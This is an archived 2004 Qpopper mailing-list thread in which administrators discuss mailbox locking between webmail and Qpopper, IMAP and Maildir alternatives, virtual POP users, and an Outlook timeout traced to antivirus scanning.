Date: Wed, 30 Jun 2004 16:33:09 +0100
Subject: Re: Qpopper Questions RE: flock()
From: Jan Cobb <jan dot cobb at ntlworld dot com>
(Date/Time: 30/06/04 2:03 pm), Jim Medley wrote:
> Jan, I'm not sure I have the answer you are looking for but, I am
> running a Mac G4 with OS 10.2.8. I started sendmail and installed
> qpopper. The way I set up users is to go to system pref. and
> accounts. I put in user and password and re-start sendmail. Thats all
> there is to it. Hope it helps a little. Jim
>
Thanks, Jim, but that will just add the users (who are not local to my
machine, which is sat in my spare bedroom) to the normal MacOSX system,
producing home directories, etc. I have configured postfix (installed under
10.3 instead of sendmail) to put incoming messages in virtual mailboxes in 2
subdirectories, depending on the domain to which they refer. Now I need to
find a way to get ipop3d or qpopper to look at the locations I have already
determined, depending on the POP login of the remote user (normal POP
activity when operated by an ISP. I am gradually getting there and am now
looking at Webmin, which might go partway to help solve my problem!
Thanks, anyway
Janette
Date: Wed, 30 Jun 2004 13:06:17 -0400
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: Qpopper Questions RE: flock()
Quoting Ladar Levison (ladar@nerdshack.com):
> I have a question that stems from my desire to integrate a Webmail
> system with my already up and running Qpopper 4.0.5 installation.
"a webmail"...
> Basically my concern is in regards to the Webmail system, and Qpopper
> cooperating nicely if both access the mbox file at the same time. I want
> to make sure someone doesn't log in through the webmail system, and
> Qpopper at the same time. Based on my reading of the source code
Can the webmail not access the data THROUGH qpopper? Which would mitigate
all the issues.
I'll also note, briefly, that
1) pop doesn't lend itself to concurrent access
2) pop wasn't intended for long term storage. The plan was to treat
the mail spool as a mail spool. Like a meat-space mailbox. go, remove
your mail from the box, dump it on the counter and deal with it.
Alterations to this scheme was where issues arise (version 7 mailboxes
don't delete from the middle very efficiently, storage, copies, etc).
= webmail basically DEMANDS long term storage of mail.
3) pop doesn't allow for FOLDERS that webmail users often want.
4) Webmail is usually SESSION oriented.
> Is this correct? I have tried scanning the /proc/locks file for active
> locks, and I can't seem to find any. Perhaps because the files are
> copied, and released so quickly.
> Now while the session is going on, qpopper uses flock() to lock the .pop
> file. That way if the session doesn't end normally, the lock still
> exists until the timeout period is over (120 seconds).
Well, AFAIR, it exists forever, qpopper will just ignore ones > timeout.
> I presently use --keep-temp-drop, so every user does have a .pop file.
> Could I code my webmail client to lock the .pop file using flock, then
> flock the Mailbox file? Would this effectively keep the two from
> accessing the files at the same time?
>
> What if I just flock'ed the mbox file? The problem I see with that
> scenario is when someone is using pop, they might have all the active
> messages in the temp file, and there would be nothing for webmail system
> to read.
And how to deliver?
> Any suggestions? Any solutions?
With no disrespect to the qpopper folk, in the case of webmail (and
I've built systems several times with LOTS of users), IMAP does
really well. The webmail program is basically an IMAP client.
IMAP allows concurrent access.
Two things touch your mail store: The delivery agent, the IMAP
server. Sendmail/whatever speak to the delivery agent, users use
IMAP (or IMAP/SSL) directly or use webmail which uses IMAP.
They get folders, concurrency,
You get something SESSION oriented.
I dealt with bad (java custom code) Webmail services that did a full
Auth/open for EVERY click on a new message. Performance sucked.
The Good webmail client had a couple parts:
- a daemon (or a couple) that threaded and spoke the the IMAP server
and managed the connections.
- The program that spoke to the webpages. This spoke to the daemon.
It was coded such that the form processing spoke to its thread
that was attached as you to the IMAP service. A simple "next
message" from the web (which is stateless, by and large) went
to the daemon. The Daemon maintained context, knew you were
on message 1142 and passed back the next message.
This is how to scale to 100k or 500k users.
I'll let you worry about intermachine connections for high scale
work.
But locking mboxes risks timeouts and fights over who "has it" and
POP just doesn't have a lot of the features that Webmail users have
come to expect (folders being the most obvious, mbox being slow being
another, lots more subtle issues).
Date: Wed, 30 Jun 2004 13:51:27 -0400
From: Daniel Senie <dts at senie dot com>
Subject: Re: Qpopper Questions RE: flock()
At 01:06 PM 6/30/2004, Chuck Yerkes wrote:
>Quoting Ladar Levison (ladar@nerdshack.com):
> > I have a question that stems from my desire to integrate a Webmail
> > system with my already up and running Qpopper 4.0.5 installation.
>"a webmail"...
>
> > Basically my concern is in regards to the Webmail system, and Qpopper
> > cooperating nicely if both access the mbox file at the same time. I want
> > to make sure someone doesn't log in through the webmail system, and
> > Qpopper at the same time. Based on my reading of the source code
>
>Can the webmail not access the data THROUGH qpopper? Which would mitigate
>all the issues.
The best of the webmail systems I've found is Squirrelmail. It uses IMAP.
Mailboxes to get corrupted from time to time when sendmail, qpopper and
squirrelmail are all going at the mailboxes. I'd really like to find a fix
for this too.
>I'll also note, briefly, that
>1) pop doesn't lend itself to concurrent access
>2) pop wasn't intended for long term storage. The plan was to treat
> the mail spool as a mail spool. Like a meat-space mailbox. go, remove
> your mail from the box, dump it on the counter and deal with it.
> Alterations to this scheme was where issues arise (version 7 mailboxes
> don't delete from the middle very efficiently, storage, copies, etc).
> = webmail basically DEMANDS long term storage of mail.
>3) pop doesn't allow for FOLDERS that webmail users often want.
>4) Webmail is usually SESSION oriented.
All of these are why squirrelmail uses IMAP.
It might be interesting to alter qpopper to be able to front-end a local
IMAP server. The POP3 that comes with the IMAP in RedHat is really lacking,
but the IMAP part is decent. It'd be nice to have the features and options
of qpopper with the back end handled by IMAP for compatability with the
webmail/imap solution.
And since I'm sure someone will say "why not just have everyone use IMAP"
the answer is, we really WANT users to download their email and get it off
the servers, and we don't want to support IMAP for most of our user base,
only for those who really, really need it.
> > Is this correct? I have tried scanning the /proc/locks file for active
> > locks, and I can't seem to find any. Perhaps because the files are
> > copied, and released so quickly.
>
> > Now while the session is going on, qpopper uses flock() to lock the .pop
> > file. That way if the session doesn't end normally, the lock still
> > exists until the timeout period is over (120 seconds).
>
>Well, AFAIR, it exists forever, qpopper will just ignore ones > timeout.
>
> > I presently use --keep-temp-drop, so every user does have a .pop file.
> > Could I code my webmail client to lock the .pop file using flock, then
> > flock the Mailbox file? Would this effectively keep the two from
> > accessing the files at the same time?
> >
> > What if I just flock'ed the mbox file? The problem I see with that
> > scenario is when someone is using pop, they might have all the active
> > messages in the temp file, and there would be nothing for webmail system
> > to read.
>
>And how to deliver?
>
> > Any suggestions? Any solutions?
>
>With no disrespect to the qpopper folk, in the case of webmail (and
>I've built systems several times with LOTS of users), IMAP does
>really well. The webmail program is basically an IMAP client.
>IMAP allows concurrent access.
>
>Two things touch your mail store: The delivery agent, the IMAP
>server. Sendmail/whatever speak to the delivery agent, users use
>IMAP (or IMAP/SSL) directly or use webmail which uses IMAP.
>
>They get folders, concurrency,
>You get something SESSION oriented.
> I dealt with bad (java custom code) Webmail services that did a full
> Auth/open for EVERY click on a new message. Performance sucked.
> The Good webmail client had a couple parts:
> - a daemon (or a couple) that threaded and spoke the the IMAP server
> and managed the connections.
> - The program that spoke to the webpages. This spoke to the daemon.
> It was coded such that the form processing spoke to its thread
> that was attached as you to the IMAP service. A simple "next
> message" from the web (which is stateless, by and large) went
> to the daemon. The Daemon maintained context, knew you were
> on message 1142 and passed back the next message.
> This is how to scale to 100k or 500k users.
> I'll let you worry about intermachine connections for high scale
> work.
>
>
>But locking mboxes risks timeouts and fights over who "has it" and
>POP just doesn't have a lot of the features that Webmail users have
>come to expect (folders being the most obvious, mbox being slow being
>another, lots more subtle issues).
Date: Tue, 29 Jun 2004 16:20:39 -1000
From: Clifton Royston <cliftonr at lava dot net>
Subject: [Resend] Re: Qpopper Questions RE: flock()
[Resent to list - originally sent from a non-subscribed address]
On Tue, Jun 29, 2004 at 03:07:27PM -0500, Ladar Levison wrote:
> Howdy Qpopper List --
>
> I have a question that stems from my desire to integrate a Webmail
> system with my already up and running Qpopper 4.0.5 installation.
>
> Basically my concern is in regards to the Webmail system, and Qpopper
> cooperating nicely if both access the mbox file at the same time. I want
> to make sure someone doesn't log in through the webmail system, and
> Qpopper at the same time. Based on my reading of the source code
> documentation, Qpopper locks the Mailbox, then copies it to a temporary
> file. For the sake of this e-mail, I assume that temporary file is :
> /var/mail/.user.pop, (though I could be wrong). Qpopper then releases
> the lock on the Mailbox, and uses the .pop file for the session. When
> the session is over, the .pop file is copied back into the Mailbox.
>
> Is this correct? I have tried scanning the /proc/locks file for active
> locks, and I can't seem to find any. Perhaps because the files are
> copied, and released so quickly.
I'll be fairly brief about this because I'm busy with other things,
but I've looked into qpopper locking strategy extensively in the past.
This is all off-the-cuff from memory.
The normal method of locking the user's prime mailbox file (= mail
spool, = mbox) is the existence of the "dot-lock" file. That's the
mbox filename with ".lock" appended to it. This is respected by most
MTA's LDAs (local delivery agents), and qpopper uses it. IIRC, qpopper
uses an flock type lock not on the mailbox but on the mbox.lock file,
once it has created it.
qpopper uses the .pop session to lock against itself, and only
against itself.
qpopper locks the mailbox with the dot-lock file only while it is
moving the mail out of the file - not for the duration of the pop
session - and then again when it is restoring the mail to the file.
IMPORTANT NOTE: If you are running qpopper in "server mode", popper
assumes that the only way the file can be altered between these two
points is for mail to be *appended* to the file by the MTA; i.e. that
no shell mail client and no other mail program will alter the mailbox
other than via *appending*. In this case it will assume it can safely
handle a bunch of special cases to highly optimize the update of the
mailbox at the end of the POP session (successful or unsuccessful.) If
this assumption proves wrong - e.g. due to the webmail program - and
qpopper is using server mode, your mailboxes may end up horribly
corrupted from time to time.
> Now while the session is going on, qpopper uses flock() to lock the .pop
> file. That way if the session doesn't end normally, the lock still
> exists until the timeout period is over (120 seconds).
> I presently use --keep-temp-drop, so every user does have a .pop file.
> Could I code my webmail client to lock the .pop file using flock, then
> flock the Mailbox file? Would this effectively keep the two from
> accessing the files at the same time?
If you lock the .pop first (and abort on failure to get the lock)
then you will have successfully locked popper out, and vice-versa.
That part's good. If you want to use server mode, you must hold this
lock until you are completely done with any possible updates to the
mbox file.
> What if I just flock'ed the mbox file? The problem I see with that
> scenario is when someone is using pop, they might have all the active
> messages in the temp file, and there would be nothing for webmail system
> to read.
If you flock the mbox file (or the dot-lock file) you will lock
against POP, and are also locking against mail delivery. No mail will
be delivered while the dot-lock exists.
However, if you don't "stroke" the timestamp on the dot-lock
regularly, the MTA will typically assume it is a stale lock after about
5 minutes (300 seconds) and forcibly remove it. If you are still
accessing the mail file read/write at *that* point, much hilarity may
ensue.
The general strategy to be safe and efficient is: lock and access the
mbox; read it; unlock and let go of it while you do stuff; lock and
access it again when you need to update it, assuming that anything or
nothing may have happened to it in between; and repeat.
NOTE ALSO: the dot-lock behavior above *is* dependent on your MTA. The
above behavior is historical, based on old sendmail, but has been
replicated by many LDAs for historical reasons, as it's critical for
compatibility and interoperability. It's also incredibly poorly
documented and poorly understood. You should try to confirm that your
configuration is using it, before relying on it.
BTW, if you run UW-IMAPD, it locks against the mail spool using the
dot-lock scheme, but also has its own completely different locking
schema. I had patches to make qpopper safely interoperate with it, but
they weren't completely portable and have never been committed to the
qpopper mainline due to lack of time on my part.
As I said, this is all off-the-cuff from memory, so it's possible
I've misremembered something. I hope Randy or others can correct me if
so. I don't have a definite recommendation for you at the moment,
other than the general strategies I describe above.
This may not look brief, but believe me - this *is* the brief
version!
-- Clifton
--
Clifton Royston -- cliftonr@tikitechnologies.com
Tiki Technologies Lead Programmer/Software Architect
Did you ever fly a kite in bed? Did you ever walk with ten cats on your head?
Did you ever milk this kind of cow? Well we can do it. We know how.
If you never did, you should. These things are fun, and fun is good.
-- Dr. Seuss
Date: Wed, 30 Jun 2004 17:21:31 -0400 (EDT)
Subject: Re: Qpopper Questions RE: flock()
From: "Michael Kolos" <michael at colba dot net>
> At 01:06 PM 6/30/2004, Chuck Yerkes wrote:
> The best of the webmail systems I've found is Squirrelmail. It uses IMAP.
> Mailboxes to get corrupted from time to time when sendmail, qpopper and
> squirrelmail are all going at the mailboxes. I'd really like to find a fix
> for this too.
>
>
The solution I found was to convert all mailboxes to Maildir. The Little
Prince (http://www.asteroid-b612.org/software/) has a patch that works
very well to add Maildir support to qpopper. Sendmail can deliver through
procmail which needs just a few config changes (including one to the
source) and it works fine. Then you can run Courier-IMAP on the same
machine (and if you wish just accepting connections from your webmail box)
for Squirrelmail. Courier-IMAP has a few issues with quotas (at least on
FreeBSD), but never had any problems with mailbox corruption or
performance. And you can have simultaneous POP3 and Webmail sessions -
just only one of them will get the mail first.
Michael Kolos
Date: Thu, 1 Jul 2004 05:14:05 -0400 (EDT)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: Qpopper Questions RE: flock()
On Wed, 30 Jun 2004, Michael Kolos wrote:
> Then you can run Courier-IMAP on the same
> machine (and if you wish just accepting connections from your webmail box)
> for Squirrelmail.
If you are going to do this then you should go the whole distance and
use Courier-POP too, not Qpopper.
Qpopper is still a useful tool, but it's not an appropriate tool of
there are different programs accessing the spool.
Date: Thu, 1 Jul 2004 09:31:13 -1000
From: Clifton Royston <cliftonr at lava dot net>
Subject: Re: Qpopper Questions RE: flock()
On Wed, Jun 30, 2004 at 04:33:09PM +0100, Jan Cobb wrote:
> (Date/Time: 30/06/04 2:03 pm), Jim Medley wrote:
> > Jan, I'm not sure I have the answer you are looking for but, I am
> > running a Mac G4 with OS 10.2.8. I started sendmail and installed
> > qpopper. The way I set up users is to go to system pref. and
> > accounts. I put in user and password and re-start sendmail. Thats all
> > there is to it. Hope it helps a little. Jim
>
> Thanks, Jim, but that will just add the users (who are not local to my
> machine, which is sat in my spare bedroom) to the normal MacOSX system,
> producing home directories, etc. I have configured postfix (installed under
> 10.3 instead of sendmail) to put incoming messages in virtual mailboxes in 2
> subdirectories, depending on the domain to which they refer. Now I need to
> find a way to get ipop3d or qpopper to look at the locations I have already
> determined, depending on the POP login of the remote user (normal POP
> activity when operated by an ISP.
qpopper is just not the POP server for this. It's good, but it really
expects to work off "real" local users in the password file. If you
want purely virtual users, you should look at some other pop daemons.
Try vpopmail; I haven't used it but have heard good things about it.
-- Clifton
--
Clifton Royston -- cliftonr@tikitechnologies.com
Tiki Technologies Lead Programmer/Software Architect
Did you ever fly a kite in bed? Did you ever walk with ten cats on your head?
Did you ever milk this kind of cow? Well we can do it. We know how.
If you never did, you should. These things are fun, and fun is good.
-- Dr. Seuss
Date: Thu, 01 Jul 2004 20:47:26 +0100
Subject: Re: Qpopper Questions RE: flock()
From: Jan Cobb <jan dot cobb at ntlworld dot com>
(Date/Time: 1/07/04 8:31 pm), Clifton Royston wrote:
> On Wed, Jun 30, 2004 at 04:33:09PM +0100, Jan Cobb wrote:
>> (Date/Time: 30/06/04 2:03 pm), Jim Medley wrote:
>>> Jan, I'm not sure I have the answer you are looking for but, I am
>>> running a Mac G4 with OS 10.2.8. I started sendmail and installed
>>> qpopper. The way I set up users is to go to system pref. and
>>> accounts. I put in user and password and re-start sendmail. Thats all
>>> there is to it. Hope it helps a little. Jim
>>
>> Thanks, Jim, but that will just add the users (who are not local to my
>> machine, which is sat in my spare bedroom) to the normal MacOSX system,
>> producing home directories, etc. I have configured postfix (installed under
>> 10.3 instead of sendmail) to put incoming messages in virtual mailboxes in 2
>> subdirectories, depending on the domain to which they refer. Now I need to
>> find a way to get ipop3d or qpopper to look at the locations I have already
>> determined, depending on the POP login of the remote user (normal POP
>> activity when operated by an ISP.
>
> qpopper is just not the POP server for this. It's good, but it really
> expects to work off "real" local users in the password file. If you
> want purely virtual users, you should look at some other pop daemons.
> Try vpopmail; I haven't used it but have heard good things about it.
>
> -- Clifton
Thanks, Clifton. I've just had a quick look at the documentation on
Sourceforge and it might be the answer for me.
Janette
Date: Thu, 1 Jul 2004 09:37:02 -1000
From: Clifton Royston <cliftonr at lava dot net>
Subject: Re: Qpopper Questions RE: flock()
On Wed, Jun 30, 2004 at 01:51:27PM -0400, Daniel Senie wrote:
> At 01:06 PM 6/30/2004, Chuck Yerkes wrote:
> >Quoting Ladar Levison (ladar@nerdshack.com):
> >> I have a question that stems from my desire to integrate a Webmail
> >> system with my already up and running Qpopper 4.0.5 installation.
> >"a webmail"...
> >
> >> Basically my concern is in regards to the Webmail system, and Qpopper
> >> cooperating nicely if both access the mbox file at the same time. I want
> >> to make sure someone doesn't log in through the webmail system, and
> >> Qpopper at the same time. Based on my reading of the source code
> >
> >Can the webmail not access the data THROUGH qpopper? Which would mitigate
> >all the issues.
>
> The best of the webmail systems I've found is Squirrelmail. It uses IMAP.
> Mailboxes to get corrupted from time to time when sendmail, qpopper and
> squirrelmail are all going at the mailboxes. I'd really like to find a fix
> for this too.
Is this with UW-IMAP?
In that case, it's the issue I mentioned above. You need to get the
UW client library and qpopper to lock against each other, and those are
the patches I never got into P4 for qpopper.
If you are interested, I will be happy to dig up and send you the
latest version of the patches I had working, for you to try out.
If you were able to get them polished up and submitted towards the
future qpopper mainstream as a build-time option, I would be
tremendously happy.
-- Clifton
--
Clifton Royston -- cliftonr@tikitechnologies.com
Tiki Technologies Lead Programmer/Software Architect
Did you ever fly a kite in bed? Did you ever walk with ten cats on your head?
Did you ever milk this kind of cow? Well we can do it. We know how.
If you never did, you should. These things are fun, and fun is good.
-- Dr. Seuss
Date: Thu, 01 Jul 2004 15:28:20 -0500
From: Ladar Levison <ladar at nerdshack dot com>
Subject: Re: Qpopper Questions RE: flock()
The webmail system I have developed reads, and unfortunately writes
directly to the mbox file. Hence the need to make sure I lock out the
MTA (Postfix) and Qpopper before reading/writing to the file.
The solution I plan to deploy will be two fold, first I will use the dot
lock method to effectively keep Qpopper and Postfix from accessing the
mail file while I am working with it. I also plan to stroke the
.username.pop file and update the timestamp. I plan to do this because I
use the last accessed time stamp of the .pop file to determine what
dormant accounts I can delete.
As I imagine it, this strategy should effectively keep Qpopper/Postfix
and my webmail system from inadvertantly corrupting a user's inbox. On
the downside, if a user logins in through webmail, while a Qpopper
session is active, my understanding is that there will not be any
messages in the mbox file until the session completes. My understanding
could be flawed here, since I haven't been able to actually witness this
process (it happens to quickly for me to catch it with an ls). And I am
still not 100% sure where these temporary files are stored.
As for Qpopper, I have it compiled with --enable-standalone, but *NOT*
with --enable-server-mode. So the issue of Qpopper finding a different
mbox file when it goes to write doesn't concern me.
Anyone spot any issues with this implementation?
My code was partially based on nwebmail.sourceforge.net, so feel free to
look at that code to get an idea of what I am talking about.
-- L~
http://www.nerdshack.com
Clifton Royston wrote:
>On Wed, Jun 30, 2004 at 01:51:27PM -0400, Daniel Senie wrote:
>
>
>>At 01:06 PM 6/30/2004, Chuck Yerkes wrote:
>>
>>
>>>Quoting Ladar Levison (ladar@nerdshack.com):
>>>
>>>
>>>>I have a question that stems from my desire to integrate a Webmail
>>>>system with my already up and running Qpopper 4.0.5 installation.
>>>>
>>>>
>>>"a webmail"...
>>>
>>>
>>>
>>>>Basically my concern is in regards to the Webmail system, and Qpopper
>>>>cooperating nicely if both access the mbox file at the same time. I want
>>>>to make sure someone doesn't log in through the webmail system, and
>>>>Qpopper at the same time. Based on my reading of the source code
>>>>
>>>>
>>>Can the webmail not access the data THROUGH qpopper? Which would mitigate
>>>all the issues.
>>>
>>>
>>The best of the webmail systems I've found is Squirrelmail. It uses IMAP.
>>Mailboxes to get corrupted from time to time when sendmail, qpopper and
>>squirrelmail are all going at the mailboxes. I'd really like to find a fix
>>for this too.
>>
>>
>
> Is this with UW-IMAP?
>
> In that case, it's the issue I mentioned above. You need to get the
>UW client library and qpopper to lock against each other, and those are
>the patches I never got into P4 for qpopper.
>
> If you are interested, I will be happy to dig up and send you the
>latest version of the patches I had working, for you to try out.
>
> If you were able to get them polished up and submitted towards the
>future qpopper mainstream as a build-time option, I would be
>tremendously happy.
>
> -- Clifton
>
>
>
Date: Fri, 2 Jul 2004 15:38:24 -0600 (GMT)
From: Iris Silva <iris at ibw dot com dot ni>
Subject: remote mail client ?
Hello everyone.
Is there a way to see which mail client is using the customer to
check his/her mail? maybe this can be reflected on qpopper log file.
any idea?
thanks in advance.
Date: Fri, 2 Jul 2004 18:09:50 -0400
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: remote mail client ?
Quoting Iris Silva (iris@ibw.com.ni):
> Hello everyone.
>
> Is there a way to see which mail client is using the customer to
> check his/her mail? maybe this can be reflected on qpopper log file.
>
> any idea?
Reading the POP RFCs... no.
TYpical user
"USER something"
"PASS something"
"UIDL"
then RETReives and DELEtes.
Date: Fri, 02 Jul 2004 15:58:50 -0700
From: Ken A <ka at pacific dot net>
Subject: Re: remote mail client ?
no. tcp fingerprinting seems to be too much work, and definitely isn't
part of the pop3 protocol. ;-)
Just send them an email and look at the headers if they reply.
Or maybe use a sendmail milter to watch for Microsoft headers and
convert all of it to text while you are at it!
Ken
Iris Silva wrote:
> Hello everyone.
>
> Is there a way to see which mail client is using the customer to
> check his/her mail? maybe this can be reflected on qpopper log file.
>
> any idea?
>
> thanks in advance.
>
>
Date: Sat, 3 Jul 2004 00:08:53 -0700
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: remote mail client ?
Quoting Ken A (ka@pacific.net):
> Iris Silva wrote:
>
> >Hello everyone.
> >
> >Is there a way to see which mail client is using the customer to
> >check his/her mail? maybe this can be reflected on qpopper log file.
> >any idea?
> >
> >
> no. tcp fingerprinting seems to be too much work, and definitely isn't
> part of the pop3 protocol. ;-)
But is part of OpenBSD's PF.
> Just send them an email and look at the headers if they reply.
> Or maybe use a sendmail milter to watch for Microsoft headers and
> convert all of it to text while you are at it!
>
I used to entertain the notion of sending to our corporate "everyone"
address an attached virus that would pull down eudora and remove
outbrea^W outlook.
If you *didn't* click the virus, it wouldn't run.
But if you did, it indicated that you were the type that needed
the protection and shouldn't be allowed to use outlook, so it was
all self healing.
From: "Rudy Mendoza" <rudy at planetlink dot net>
Subject: RE: remote mail client ?
Date: Sun, 4 Jul 2004 14:50:41 -0500
How do I get off this list?
Rudy
-----Original Message-----
From: Iris Silva [mailto:iris@ibw.com.ni]
Sent: Friday, July 02, 2004 4:38 PM
To: Subscribers of Qpopper
Subject: remote mail client ?
Hello everyone.
Is there a way to see which mail client is using the customer to
check his/her mail? maybe this can be reflected on qpopper log file.
any idea?
thanks in advance.
Date: Sun, 04 Jul 2004 13:12:28 -0700
From: "Derek C dot " <coffee at blarg dot net>
Subject: RE: remote mail client ?
If you look at the headers of any email to the list you will see:
List-Unsubscribe: <mailto:qpopper-request@lists.pensive.org?body=unsubscribe>
Thanks,
Derek
At 12:50 PM 7/4/2004, Rudy Mendoza wrote:
>How do I get off this list?
>
>
>Rudy
>
>-----Original Message-----
>From: Iris Silva [mailto:iris@ibw.com.ni]
>Sent: Friday, July 02, 2004 4:38 PM
>To: Subscribers of Qpopper
>Subject: remote mail client ?
>
>Hello everyone.
>
>Is there a way to see which mail client is using the customer to
>check his/her mail? maybe this can be reflected on qpopper log file.
>
>any idea?
>
>thanks in advance.
Date: Sun, 4 Jul 2004 18:07:35 -0700
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: remote mail client ?
1) You read your headers.
2) you read the monthly reminder message that we all got
on July 1.
3) you read the note you got when you subscribed.
4) if stuck, you read the headers and send to the list admin address.
Quoting Rudy Mendoza (rudy@planetlink.net):
> How do I get off this list?
>
>
> Rudy
>
> -----Original Message-----
> From: Iris Silva [mailto:iris@ibw.com.ni]
> Sent: Friday, July 02, 2004 4:38 PM
> To: Subscribers of Qpopper
> Subject: remote mail client ?
>
> Hello everyone.
>
> Is there a way to see which mail client is using the customer to
> check his/her mail? maybe this can be reflected on qpopper log file.
>
> any idea?
>
> thanks in advance.
From: "Aymeric MUNTZ" <aymeric dot muntz at free dot fr>
Subject:
Date: Thu, 15 Jul 2004 20:45:55 +0200
From: "Aymeric MUNTZ" <aymeric dot muntz at free dot fr>
Subject: client timeout
Date: Thu, 15 Jul 2004 20:47:49 +0200
Hi,
I got an error using qpopper with outlook as client.
I often got the error :
"A time-out occurred while communicating with the server. Account:
'Aymeric', Server: 'pop.toto.com', Protocol: POP3, Port: 80, Secure(SSL):
No, Error Number: 0x800CCC19"
On the qpopper server side, I got the error:
Jul 15 19:48:36.887 2004 [2041] new child for connection
Jul 15 19:48:36.887 2004 [2041] Set downcase-user to true
Jul 15 19:48:36.887 2004 [2041] Set server-mode to true
Jul 15 19:48:36.887 2004 [2041] Set timeout to 120 (0x78)
Jul 15 19:48:36.888 2004 [2041] Set chunky-writes to TLS (1)
Jul 15 19:52:38.359 2004 [2041] aymeric_home at pop.thrruss.org
(81.56.220.170): -ERR POP EOF or I/O Error
Jul 15 19:52:38.359 2004 [2041] Stats: aymeric_home 0 0 1 2774043
pop.thrruss.org 81.56.220.170
Jul 15 19:52:38.408 2004 [2041] exiting after Qpopper returned
I'm using Qpopper version 4.0.5 (standalone) under Linux kernel 2.4.22
I tried to change the "set chunky-writes" config with no result.
Is there a known bug for this problem?
Does anyone know how to make it working?
Thanks
Regards,
Aymeric
Date: Thu, 15 Jul 2004 22:33:07 -0500
From: James Sneeringer <james+qpopper at vincentsystems dot com>
Subject: Re: client timeout
On Thu, Jul 15, 2004 at 08:47:49PM +0200, Aymeric MUNTZ wrote:
> I got an error using qpopper with outlook as client.
> I often got the error :
> "A time-out occurred while communicating with the server. Account:
> 'Aymeric', Server: 'pop.toto.com', Protocol: POP3, Port: 80, Secure(SSL):
> No, Error Number: 0x800CCC19"
>
> On the qpopper server side, I got the error:
> Jul 15 19:48:36.887 2004 [2041] new child for connection
> Jul 15 19:48:36.887 2004 [2041] Set downcase-user to true
> Jul 15 19:48:36.887 2004 [2041] Set server-mode to true
> Jul 15 19:48:36.887 2004 [2041] Set timeout to 120 (0x78)
> Jul 15 19:48:36.888 2004 [2041] Set chunky-writes to TLS (1)
> Jul 15 19:52:38.359 2004 [2041] aymeric_home at pop.thrruss.org
> (81.56.220.170): -ERR POP EOF or I/O Error
> Jul 15 19:52:38.359 2004 [2041] Stats: aymeric_home 0 0 1 2774043
> pop.thrruss.org 81.56.220.170
> Jul 15 19:52:38.408 2004 [2041] exiting after Qpopper returned
Notice how the error is almost exactly 4 minutes after the connection
opened? Outlook's "server timeout" option is probably set to 4 minutes.
Increasing the timeout setting will help. I think Outlook will let you
set it as high as 10 minutes.
This can happen if you have anti-virus software that does transparent POP3
mail scanning. Norton 2003 and 2004 do this, and others probably do as
well. They hook into the networking code of Windows and intercept all
traffic on port 110/tcp so anything resembling an email message can be
scanned. The problem is, they don't communicate anything to Outlook while
the message is being downloaded and scanned, so as far as Outlook can
tell, the server has stalled. Outlook eventually it just gives up, and
you get the time-out error. Qpopper sees the EOF error because Outlook
has abruptly terminated the connection.
-James
Date: Fri, 16 Jul 2004 05:35:31 -0400 (EDT)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: client timeout
On Thu, 15 Jul 2004, James Sneeringer wrote:
> Notice how the error is almost exactly 4 minutes after the connection
> opened? Outlook's "server timeout" option is probably set to 4 minutes.
> Increasing the timeout setting will help. I think Outlook will let you
> set it as high as 10 minutes.
In a lot of cases on dialups, 10 minutes isn't long enough.
The only solution which works well is not to use LookOut
Date: Fri, 16 Jul 2004 11:12:30 -0500
From: James Sneeringer <james+qpopper at vincentsystems dot com>
Subject: Re: client timeout
On Fri, Jul 16, 2004 at 05:35:31AM -0400, Alan Brown wrote:
> On Thu, 15 Jul 2004, James Sneeringer wrote:
> > Notice how the error is almost exactly 4 minutes after the connection
> > opened? Outlook's "server timeout" option is probably set to 4 minutes.
> > Increasing the timeout setting will help. I think Outlook will let you
> > set it as high as 10 minutes.
>
> In a lot of cases on dialups, 10 minutes isn't long enough.
> The only solution which works well is not to use LookOut
Changing mailers may not help so much. Any mailer that times out after
some period of perceived server inactivity will do the same thing. If
your mailer can be configured to wait forever, then I guess you won't have
a problem.
The real problem is Norton (or whatever AV program in use). Norton could
possibly get around this by spoofing some sort of keepalive to the POP3
client, so it will think the connection is still alive, but this is well
beyond the realm of qpopper.
-James
Last updated on 16 Jul 2004 by Pensive Mailing List Admin